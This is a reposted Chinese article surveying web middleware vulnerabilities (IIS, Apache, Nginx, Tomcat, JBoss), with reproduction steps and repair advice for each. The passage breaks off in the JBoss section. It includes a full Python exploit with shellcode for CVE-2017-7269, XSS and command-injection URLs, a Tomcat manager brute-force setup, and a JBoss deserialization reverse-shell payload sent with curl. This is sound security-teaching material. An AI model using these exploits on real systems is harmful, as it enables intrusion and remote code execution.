中間件常見安全漏洞(轉載)

 

前言:

轉載於公衆號 Bypass

點擊這裏查看原文

  • 第一章:IIS

    • IIS 6 解析漏洞

    • IIS 7 解析漏洞

    • PUT任意文件寫入

    • IIS短文件漏洞

    • HTTP.SYS遠程代碼執行 (MS15-034)

    • RCE-CVE-2017-7269

  • 第二章:Apache

    • 未知擴展名解析漏洞

    • AddHandler導致的解析漏洞

    • Apache HTTPD 換行解析漏洞(CVE-2017-15715)

  • 第三章:Nginx

    • Nginx配置文件錯誤導致的解析漏洞

    • Nginx 空字節任意代碼執行漏洞

    • Nginx 文件名邏輯漏洞(CVE-2013-4547)

    • Nginx 配置錯誤導致的安全問題

  • 第四章:Tomcat

    • Tomcat 任意文件寫入(CVE-2017-12615)

    • Tomcat 遠程代碼執行(CVE-2019-0232)

    • Tomcat + 弱口令 && 後臺getshell漏洞

    • Tomcat manager App 暴力破解

  • 第五章:JBoss

    • JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

    • JBoss JMXInvokerServlet 反序列化漏洞

    • JBoss EJBInvokerServlet 反序列化漏洞

    • JBoss <=4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

    • Administration Console 弱口令

    • JMX Console未授權訪問

  • 第六章:weblogic

    • XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)

    • Weblogic wls9_async_response,wls-wsat 反序列化遠程代碼執行漏洞(CVE-2019-2725)

    • Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)

    • Weblogic 任意文件上傳漏洞(CVE-2018-2894)

    • Weblogic SSRF漏洞 (CVE-2014-4210)

    • Weblogic 弱口令 && 後臺getshell

  • 第七章:GlassFish

    • GlassFish Directory Traversal(CVE-2017-1000028)

    • GlassFish 後臺Getshell

  • 第八章:WebSphere

    • Java反序列化(CVE-2015-7450)

    • 弱口令 && 後臺Getshell

 


1、IIS

IIS是Internet Information Services的縮寫,意爲互聯網信息服務,是由微軟公司提供的基於運行Microsoft Windows的互聯網基本服務。IIS目前只適用於Windows系統,不適用於其他操作系統。

IIS 6 解析漏洞

基於文件名,該版本 默認會將 *.asp;.jpg 此種格式的文件名,當成Asp解析,原理是 服務器默認不解析; 號及其後面的內容,相當於截斷。

基於文件夾名,該版本 默認會將 *.asp/目錄下的所有文件當成Asp解析。

另外,IIS6.x除了會將擴展名爲.asp的文件解析爲asp之外,還默認會將擴展名爲.asa,.cdx,.cer解析爲asp,

從網站屬性->主目錄->配置 可以看出,他們都是調用了asp.dll進行的解析。

修復建議

由於微軟並不認爲這是一個漏洞,也沒有推出IIS 6.0的補丁,因此漏洞需要自己修復。

1、限制上傳目錄執行權限,不允許執行腳本。

2、不允許新建目錄。

3.、上傳的文件需經過重命名(時間戳+隨機數+.jpg等)

IIS 7 解析漏洞

1、安裝IIS7.5,控制面板 -> 程序 -> 打開或關閉windows功能。

2、下載php-5.2.6-win32-installer.msi

3、打開msi,一直下一步來到選擇web server setup的界面,在這裏選擇IIS fastcgi,之後一直下一步。

4、打開IIS,管理工具 ->Internet 信息服務(IIS)管理器

5、選擇編輯ISAPI或者CGI限制

添加安裝的php-cgi.exe路徑,描述隨意。

6、返回第五步的第一個圖片位置,點擊處理程序映射,添加如下。

7、phpinfo測試

IIS7.x版本 在Fast-CGI運行模式下,在任意文件,例:test.jpg後面加上/.php,會將test.jpg 解析爲php文件。

修復建議

配置cgi.fix_pathinfo(php.ini中)爲0並重啓php-cgi程序

結果如下:

PUT任意文件寫入

IIS Server 在 Web 服務擴展中開啓了 WebDAV之後,支持多種請求,配合寫入權限,可造成任意文件寫入。

修復建議

關閉WebDAV 和 寫權限

IIS短文件漏洞

Windows 以 8.3 格式生成與 MS-DOS 兼容的(短)文件名,以允許基於 MS-DOS 或 16 位 Windows的程序訪問這些文件。在cmd下輸入”dir /x”即可看到短文件名的效果。

IIS短文件名產生:

1、當後綴小於4時,短文件名產生需要文件(夾)名前綴字符長度大於等於9位。2、當後綴大於等於4時,文件名前綴字符長度即使爲1,也會產生短文件名。

目前IIS支持短文件名猜測的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六種。
IIS 8.0之後的版本只能通過OPTIONS和TRACE方法被猜測成功。

復現:

IIS8.0以下版本需要開啓ASP.NET支持,IIS大於等於8.0版本,即使沒有安裝ASP.NET,通過OPTIONS和TRACE方法也可以猜解成功。
以下通過開啓IIS6.0 ASP.NET後進行復現。

當訪問構造的某個存在的短文件名,會返回404;

當訪問構造的某個不存在的短文件名,會返回400;

IIS短文件漏洞侷限性
1) 如果文件名本身太短也是無法猜解的;
2) 此漏洞只能確定前6個字符,如果後面的字符太長、包含特殊字符,很難猜解;
3) 如果文件名前6位帶空格,8.3格式的短文件名會補進,和真實文件名不匹配;
4) 如果文件夾名前6位字符帶點”.”,掃描程序會認爲是文件而不是文件夾,最終出現誤報;
5) 不支持中文文件名,包括中文文件和中文文件夾。一箇中文相當於兩個英文字符,故超過4箇中文字會產生短文件名,但是IIS不支持中文猜測。

修復建議

1)從CMD命令關閉NTFS 8.3文件格式的支持

Windows Server 2003:(1代表關閉,0代表開啓)
關閉該功能:fsutil behavior set disable8dot3 1

Windows Server 2008 R2:

查詢是否開啓短文件名功能:fsutil 8dot3name query
關閉該功能:fsutil 8dot3name set 1

不同系統關閉命令稍有區別,該功能默認是開啓的.

2)或從修改註冊表關閉NTFS 8.3文件格式的支持

快捷鍵Win+R打開命令窗口,輸入regedit打開註冊表窗口

找到路徑:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,將其中的 NtfsDisable8dot3NameCreation這一項的值設爲 1,1代表不創建短文件名格式

以上兩種方式修改完成後,均需要重啓系統生效。

Note:此方法只能禁止NTFS8.3格式文件名創建,已經存在的文件的短文件名無法移除,需要重新複製纔會消失。
例:將web文件夾的內容拷貝到另一個位置,如c:\www到c:\ww,然後刪除原文件夾,再重命名c:\ww到c:\www。

HTTP.SYS遠程代碼執行 (MS15-034)

影響範圍:
Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2

復現:

在Windows7上 安裝IIS7.5。
1、訪問。

2、編輯請求頭,增加Range: bytes=0-18446744073709551615字段,若返回碼狀態爲416 Requested Range Not Satisfiable,則存在HTTP.SYS遠程代碼執行漏洞

漏洞有點雞肋,配合其他漏洞使用還是可以用用的,具體使用可轉至MSF中。

修復建議

安裝修復補丁(KB3042553)

RCE-CVE-2017-7269

Microsoft Windows Server 2003 R2中的Internet信息服務(IIS)6.0中的WebDAV服務中的ScStoragePathFromUrl函數中的緩衝區溢出允許遠程攻擊者通過以”If:<http://“開頭的長標頭執行任意代碼PROPFIND請求。

影響範圍:
在Windows 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0並開啓WebDAV擴展。

復現:
CVE作者給出的exp 計算機彈彈彈!!!
用python2 運行,結果如下。

任務管理器開啓了calc.exe進程,因爲計算器是網絡服務權限打開的,所以我們在桌面上看不見。

這個漏洞有幾個需要注意的地方,如下。

由於作者提供的Exp執行之後就卡在那裏了,因此不適合用彈計算機的shellcode進行測試,網上找了個dalao的回顯shellcode來測試。

首先將上圖中python2 IDE運行時產生的Raw類型的HTTP數據包copy保存至記事本中,然後在Burp Repeater模塊 Paste from file。

將shellcode更換成如下:

  •  
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A

結果:

CVE作者給出的Exp是在默認端口,默認域名,默認路徑的情況下適用。

第一個需要注意的是端口和域名綁定問題:

當端口改變時,If頭信息中的兩個url端口要與站點端口一致,如下。

當域名改變時,If頭信息中的兩個url域名要與站點域名一致,且HOST頭也要與站點域名一致。如下

不修改Host將返回502,如下

Note:


 

測試的時候凡是需要修改IIS配置的操作,修改完畢後都需要重啓IIS,

或者在不超過禁用閾值的前提下結束w3wp進程。

第二個需要注意的是物理路徑問題:

CVE作者提供的Exp是在 默認路徑長度等於19(包括結尾的反斜槓)的情況下適用,IIS默認路徑一般爲:c:\inetpub\wwwroot

解決方法:

當路徑長度小於19時需要對padding進行添加。
當路徑長度大於19時需要對padding進行刪除。

ROP和stackpivot前面的padding實際上爲UTF8編碼的字符,每三個字節解碼後變爲兩個字節的UTF16字符,在保證Exp不出錯的情況下,有0x58個字符是沒用的。所以可以將前0x108個字節刪除,換成0x58個a或b。

原exp 修改後如下:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
# coding:utf-8import socket  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  sock.connect(('192.168.124.129',8888))  pay='PROPFIND / HTTP/1.1\r\nHost: www.lxhsec.com\r\nContent-Length: 0\r\n'pay+='If: <http://www.lxhsec.com:8888/aaaaaaa'pay+='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'pay+='\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'pay+='>'pay+=' (Not <locktoken:write1>) <http://www.lxhsec.com:8888/bbbbbbb'pay+='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'pay+='\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'shellcode='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397O00WRJKPSSI7KQR72JPXKOXPP3GP0PPP36VXLKM1VZM0LCKNSOKON2KPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJMPNQ03LMLJPXNM1J13OWNMOS2H352CBKOJO0PCQFOUNMOB00NQNWNMP7OBP6OILMKZLMKZ130V15NMP2P0NQP7NMNWOBNV09KPM0A'pay+=shellcodepay+='>\r\n\r\n'print paysock.send(pay)  data = sock.recv(80960)  print data sock.close

執行:

當路徑長度小於19時,如下,需要增加12個a,b

 

而實際中路徑常常大於19,需要對padding進行刪除。

當路徑爲c:\www\的時候,a有107個,加起來有114個,除去盤符有111個字符,所以可以把Exp的padding增加至111,並逐次進行減少。當長度不匹配時返回500,成功時返回200,通過爆破方式得到物理路徑長度。
成功:

失敗:

 

當然如果能得到物理路徑,則用114減去物理路徑長度(包括末尾的反斜槓)就是所需的padding長度。

第三個需要注意的是,超時問題。
當exp執行成功一段時間之後(大概十分鐘到二十分鐘左右,其間無論有無訪問),再對這個站點執行exp永遠不會成功,同時返回400。

解決方法:
1.等待w3wp重啓。
2.測試旁站(因爲每個池都是獨立的w3wp進程,換一個可能在其他池的旁站進行嘗試)

第四個需要注意的是,多次執行錯誤shellcode

多次執行錯誤的shellcode會覆蓋很多不該覆蓋的代碼,從而導致正確的shellcode執行時也返回500,
提示信息爲:參數不正確,也可能什麼都不返回。

解決方法:
1.等待w3wp重啓。
2.測試旁站(因爲每個池都是獨立的w3wp進程,換一個可能在其他池的旁站進行嘗試)

修復建議:關閉 WebDAV

2、Apache

Apache是世界使用排名第一的Web服務器軟件。它可以運行在幾乎所有廣泛使用的計算機平臺上,由於其跨平臺和安全性被廣泛使用,是最流行的Web服務器端軟件之一。它快速、可靠並且可通過簡單的API擴充,將Perl/Python等解釋器編譯到服務器中。

未知擴展名解析漏洞

Apache的解析漏洞依賴於一個特性:Apache默認一個文件可以有多個以點分割的後綴,當最右邊的後綴無法識別(不在mime.types文件內),則繼續向左識別,直到識別到合法後綴才進行解析。

復現:
這裏使用phpstudy進行復現。
下載地址:
http://phpstudy.php.cn/phpstudy/phpStudy(PHP5.2).zip

訪問phpinfo.php.xxx

實戰中可以上傳rar,owf等文件進行利用,如果上傳phpinfo.php.jpg,即使文件名中有.php,也會直接解析爲jpg。因爲Apache認識.jpg,停止繼續向左識別。

AddHandler導致的解析漏洞

如果運維人員給.php後綴增加了處理器:
AddHandler application/x-httpd-php .php
那麼,在有多個後綴的情況下,只要一個文件名中含有.php後綴,即被識別成PHP文件,沒必要是最後一個後綴。
利用這個特性,將會造成一個可以繞過上傳白名單的解析漏洞。

復現:

即使最右邊的文件格式是在mime.types文件內,只要文件名中出現.php,就直接被解析爲php。

Apache HTTPD 換行解析漏洞(CVE-2017-15715)

影響範圍:2.4.0~2.4.29版本
環境:phpstudy2014 Apache + PHP5.4n

此漏洞形成的根本原因,在於$, 正則表達式中$不僅匹配字符串結尾位置,也可以匹配\n 或 \r

在解析PHP時,1.php\x0A將被按照PHP後綴進行解析,導致繞過一些服務器的安全策略。

  •  
  •  
  •  
<FilesMatch \.php$>    SetHandler application/x-httpd-php</FilesMatch>

測試代碼:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<html><body>    <form action="" method="post" enctype="multipart/form-data">    <input type="file" name="file" />    <input type="text" name="name" />    <input type="submit" value="上傳文件" />    </form></body></html><?phpif(isset($_FILES['file'])) {    $name = basename($_POST['name']);    $ext = pathinfo($name,PATHINFO_EXTENSION);    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {        exit('bad file');    }echo "ok";    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);}?>

點擊Go後,效果如下:

相同代碼在Linux下進行測試,可以正常寫入。

訪問:

限制:獲取文件名時不能用$_FILES[‘file’][‘name’],因爲它會自動把換行去掉。

修復建議

1、升級到最新版本

2、或將上傳的文件重命名爲爲時間戳+隨機數+.jpg的格式並禁用上傳文件目錄執行腳本權限。

3、Nginx

Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件(IMAP/POP3)代理服務器,在BSD-like 協議下發行。其特點是佔有內存少,併發能力強,事實上nginx的併發能力確實在同類型的網頁服務器中表現較好。

Nginx配置文件錯誤導致的解析漏洞

對於任意文件名,在後面添加/xxx.php(xxx爲任意字符)後,即可將文件作爲php解析。
例:info.jpg後面加上/xxx.php,會將info.jpg 以php解析。

這裏使用phpstudy2014 ,Nginx + PHP5.3n進行復現(以下復現若無特別說明均採用此環境)
結果:

該漏洞是Nginx配置所導致,與Nginx版本無關,下面是常見的漏洞配置。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
server {    location ~ \.php$ {        root           /work/www/test;        fastcgi_index  index.php;        fastcgi_param  SCRIPT_FILENAME      $document_root$fastcgi_script_name;        include        fastcgi_params;        fastcgi_pass   unix:/tmp/php-fpm.sock;    }}

當攻擊者訪問/info.jpg/xxx.php時, Nginx將查看URL,看到它以.php結尾,並將路徑傳遞給PHP fastcgi處理程序。
Nginx傳給php的路徑爲c:/WWW/info.jpg/xxx.php,
在phpinfo中可以查看_SERVER["ORIG_SCRIPT_FILENAME"]得到。

PHP根據URL映射,在服務器上尋找xxx.php文件,但是xxx.php不存在,又由於cgi.fix_pathinfo默認是開啓的,因此PHP 會繼續檢查路徑中存在的文件,並將多餘的部分當作 PATH_INFO。接着PHP在文件系統中找到.jpg文件,而後以PHP的形式執行.jpg的內容,並將/xxx.php存儲在 PATH_INFO 後丟棄,因此我們在phpinfo中的$_SERVER['PATH_INFO']看的到值爲空。

Note:php的一個選項:cgi.fix_pathinfo,該選項默認開啓,值爲1,用於修理路徑,
例如:當php遇到文件路徑”/info.jpg/xxx.php/lxh.sec”時,若”/info.jpg/xxx.php/lxh.sec”不存在,則會去掉最後的”/lxh.sec”,然後判斷”/info.jpg/xxx.php”是否存在, 若存在則將/info.jpg/xxx.php當作文件/info.jpg/xxx.php/lxh.sec,若/info.jpg/xxx.php仍不存在,則繼續去掉xxx.php,依此類推。

修復建議

1、配置cgi.fix_pathinfo(php.ini中)爲0並重啓php-cgi程序

結果:

2、或如果需要使用到cgi.fix_pathinfo這個特性(例如:Wordpress),那麼可以禁止上傳目錄的執行腳本權限。
或將上傳存儲的內容與網站分離,即站庫分離。

3、或高版本PHP提供了security.limit_extensions這個配置參數,設置security.limit_extensions = .php

Nginx 空字節任意代碼執行漏洞

影響版本:Nginx 0.5*0.6*,0.7 <= 0.7.65,0.8 <= 0.8.37

這裏提供個打包好的Windows環境 Nginx 0.7.65+php 5.3.2

鏈接:https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw
提取碼:imdm

解壓後,在Nginx目錄下執行startup.bat

然後在nginx-0.7.65/html/目錄下創建info.jpg,內容爲<?php phpinfo();?>,

訪問info.jpg,並抓包,修改爲info.jpg..php,在Hex選修卡中將jpg後面的.,更改爲00.

Note:該漏洞不受cgi.fix_pathinfo影響,當其爲0時,依舊解析。

修復建議

升級Nginx版本

Nginx 文件名邏輯漏洞(CVE-2013-4547)

影響版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

在Windows弄了個環境,後來發現要文件名的後面存在空格,而Windows是不允許存在此類文件的,因此這裏復現,使用Vulhub的docker進行復現。

訪問http://your-ip:8080/ 上傳文件

訪問http://your-ip:8080/uploadfiles/info.jpg, 並抓包,修改爲info.jpg...php, 在Hex選修卡中將jpg後面的兩個點2e改成20,00 點擊Go,如下。

Note:該漏洞不受cgi.fix_pathinfo影響,當其爲0時,依舊解析,在Windows上有所限制。

修復建議

1、設置security.limit_extensions = .php

2、或升級Nginx

Nginx 配置錯誤導致的安全問題

CRLF注入

查看Nginx文檔,可以發現有三個表示uri的變量:
1.$uri
2.$document_uri
3.$request_uri

1和2表示的是解碼以後的請求路徑,不帶參數;3表示的是完整的URI(沒有解碼)

Nginx會將1,2進行解碼,導致傳入%0a%0d即可引入換行符,造成CRLF注入漏洞。

錯誤配置:

訪問:
http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E
將返回包的Location端口設置爲小於80,使得瀏覽器不進行跳轉,執行XSS。

結果:

修復建議

  •  
  •  
  •  
location / {    return 302 https://$host$request_uri;}

目錄穿越

Nginx在配置別名(Alias)的時候,如果忘記加/,將造成一個目錄穿越漏洞。

錯誤的配置文件示例(原本的目的是爲了讓用戶訪問到C:/WWW/home/目錄下的文件):

  •  
  •  
  •  
  •  
location /files {  autoindex on;  alias c:/WWW/home/;}

結果:

修復建議

只需要保證location和alias的值都有後綴/或都沒有/這個後綴。

目錄遍歷

當Nginx配置文件中,autoindex 的值爲on時,將造成一個目錄遍歷漏洞。

結果:

修復建議

將autoindex 的值爲置爲off。

add_header被覆蓋

Nginx的配置文件分爲Server、Location等一些配置塊,並且存在包含關係,子塊會繼承父塊的一些選項,比如add_header。

如下配置中,整站(父塊中)添加了CSP頭:

正常情況下訪問:

當訪問 /test2時,XSS被觸發。因/test2的location中添加了X-Content-Type-Options頭,導致父塊中的add_header全部失效。

4、Tomcat

Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬於輕量級應用 服務器,在中小型系統和併發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對於一個初學者來說,可以這樣認爲,當在一臺機器上配置好Apache 服務器,可利用它響應 HTML ( 標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當運行tomcat 時,它實際上作爲一個與Apache 獨立的進程單獨運行的。

Tomcat 任意文件寫入(CVE-2017-12615)

環境:Tomcat/8.0.30

漏洞本質是Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件:

增加完配置之後,記得重啓Tomcat,效果如下:

當readonly=true時,效果如下。

Tomcat 遠程代碼執行(CVE-2019-0232)

影響範圍:9.0.0.M1 ~ 9.0.17, 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
影響系統:Windows

測試環境:
Apache Tomcat v8.5.39
JDK 1.8.0_144

修改配置:
web.xml

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<init-param>  <param-name>debug</param-name>  <param-value>0</param-value></init-param><init-param>  <param-name>executable</param-name>  <param-value></param-value></init-param>

content.xml

Tomcat\webapps\ROOT\WEB-INF新建cgi目錄,並創建lxhsec.bat文件,內容任意。

訪問http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&dir

執行命令http://127.0.0.1:8080/cgi-bin/lxhsec.bat?&C:/WINDOWS/system32/net+user

Note:net命令的路徑要寫全,直接寫net user,Tomcat控制檯會提示net不是內部命令,也不是可運行的程序,另 必須使用+號連接,使用空格,%2B都會執行失敗,控制檯報錯。

修復建議

這個默認是關閉的,如果打開了請關閉,若需使用請升級版本。

Tomcat + 弱口令 && 後臺getshell漏洞

環境:Apache Tomcat/7.0.94

在conf/tomcat-users.xml文件中配置用戶的權限:

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<tomcat-users>    <role rolename="manager-gui"/>    <role rolename="manager-script"/>    <role rolename="manager-jmx"/>    <role rolename="manager-status"/>    <role rolename="admin-gui"/>    <role rolename="admin-script"/>    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /></tomcat-users>

正常安裝的情況下,tomcat7.0.94中默認沒有任何用戶,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,纔可以進行攻擊。

訪問 http://127.0.0.1:8080/manager/html ,輸入弱密碼tomcat:tomcat,登陸後臺。

生成war包:
jar -cvf lxhspy.war lxhspy.jsp

部署後,訪問 http://127.0.0.1:8080/war包名/包名內文件名, 如下。

修復建議

1、若無必要,取消manager/html功能。

2、若要使用,manager頁面應只允許本地IP訪問

Tomcat manager App 暴力破解

環境:Apache Tomcat/7.0.94

訪問:http://127.0.0.1:8080/manager/html, 輸入密碼,抓包,如下。

剛纔輸入的賬號密碼在HTTP字段中的Authorization中,規則爲Base64Encode(user:passwd)
Authorization: Basic dG9tY2F0OmFkbWlu
解碼之後如下:

將數據包發送到intruder模塊,並標記dG9tY2F0OmFkbWlu。

Payload type選擇 Custom iterator,設置三個position,1爲用戶字典,2爲:,3爲密碼字典,並增加Payload Processing 爲Base64-encode如下:

最後取消Palyload Encoding編碼。

結果:

修復建議

1、若無必要,取消manager/html功能。

2、若要使用,manager頁面應只允許本地IP訪問

5、JBoss

jBoss是一個基於J2EE的開發源代碼的應用服務器。JBoss代碼遵循LGPL許可,可以在任何商業應用中免費使用。JBoss是一個管理EJB的容器和服務器,支持EJB1.1、EJB 2.0和EJB3的規範。但JBoss核心服務不包括支持servlet/JSP的WEB容器,一般與Tomcat或Jetty綁定使用。

默認端口:8080,9990

Windows下Jboss安裝,

1、下載http://jbossas.jboss.org/downloads/

2、解壓,我這裏解壓後的目錄爲:C:\jboss-6.1.0.Final

3、新建環境變量:JBOSS_HOME 值爲:C:\jboss-6.1.0.Final
在path中加入:;%JBOSS_HOME%\bin;

4、打開C:\jboss-6.1.0.Final\bin 雙擊run.bat。出現info消息,即配置成功。

Note:注意JDK版本要在1.6~1.7之間,1.8版本 jBoss運行打開JMX Console會出現500錯誤。

jboss默認部署路徑:

C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

設置外網訪問,將

C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml

  •  
  •  
  •  
<!-- A HTTP/1.1 Connector on port 8080 --><Connector protocol="HTTP/1.1" port="${jboss.web.http.port}" address="${jboss.bind.address}"    redirectPort="${jboss.web.https.port}" />

將address=”${jboss.bind.address}” 設置爲address=”0.0.0.0” ,並重啓JBoss

JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

訪問 /invoker/readonly
返回500,說明頁面存在,此頁面存在反序列化漏洞。

利用工具:JavaDeserH2HC,我們選擇一個Gadget:ReverseShellCommonsCollectionsHashMap,編譯並生成序列化數據:

生成ReverseShellCommonsCollectionsHashMap.class

  •  
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成ReverseShellCommonsCollectionsHashMap.ser

  •  
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.31.232:6666(ip是nc所在的ip)

利用:

  •  
curl http://192.168.31.205:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

JBoss JMXInvokerServlet 反序列化漏洞

訪問 /invoker/JMXInvokerServlet
返回如下,說明接口開放,此接口存在反序列化漏洞。

這裏直接利用CVE-2017-12149生成的ser,發送到/invoker/JMXInvokerServlet接口中。
如下:

JBoss EJBInvokerServlet 反序列化漏洞

訪問 /invoker/EJBInvokerServlet
返回如下,說明接口開放,此接口存在反序列化漏洞。

這裏直接利用CVE-2017-12149生成的ser,發送到/invoker/EJBInvokerServlet接口中。
如下:

修復建議

1、不需要 http-invoker.sar 組件的用戶可直接刪除此組件。路徑爲:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,刪除後訪問404.

2、或添加如下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標籤中,對 http invoker 組件進行訪問控制:
<url-pattern>/*</url-pattern>
路徑爲:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xml

JBoss<=4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)

環境:jboss-4.2.3

設置外網訪問:在

C:\jboss-4.2.3\server\default\deploy\jboss-web.deployer\server.xml
將address=”${jboss.bind.address} 改爲:address=”0.0.0.0”, 重啓Jboss

  •  
  •  
  •  
  •  
  •  
